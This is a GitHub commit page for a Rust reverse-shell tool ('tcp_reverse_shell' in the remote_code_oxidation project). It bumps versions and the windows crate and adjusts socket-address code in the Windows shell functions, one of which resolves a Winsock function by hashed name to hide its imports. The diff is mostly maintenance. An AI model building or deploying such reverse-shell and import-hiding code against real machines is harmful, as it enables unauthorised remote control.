Win crate - inet_pton arg changed (#74)

* lock update

* version bumps

* small fix, should work
This commit is contained in:
kmanc
2023-01-13 07:46:50 -08:00
committed by GitHub
parent c9b55f5641
commit bfe4c68dcc
7 changed files with 41 additions and 32 deletions
+2 -2
View File
@@ -7,7 +7,7 @@ license = "MIT"
name = "tcp_reverse_shell"
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/tcp_reverse_shell"
rust-version = "1.59"
version = "1.5.1"
version = "1.5.2"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -20,7 +20,7 @@ rco_config = {path = "../rco_config", version = ">=0.2.0"}
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
[target.'cfg(windows)'.dependencies]
windows.version = ">=0.41.0"
windows.version = ">=0.44.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
@@ -44,7 +44,7 @@ pub fn shell(ip: &str, port: u16) {
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.inet_pton.html
let mut sockaddr_in = SOCKADDR_IN {
sin_family: AF_INET.0 as u16,
sin_family: AF_INET,
..Default::default()
};
// This is magic that I don't really understand but seems to work
@@ -40,7 +40,7 @@ pub fn shell(ip: &str, port: u16) {
// See line 42
let function = rco_utils::find_function_address(ws2_32, 0xf6d69fad519d46a0).unwrap();
let mut sockaddr_in = SOCKADDR_IN {
sin_family: AF_INET.0 as u16,
sin_family: AF_INET,
..Default::default()
};
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;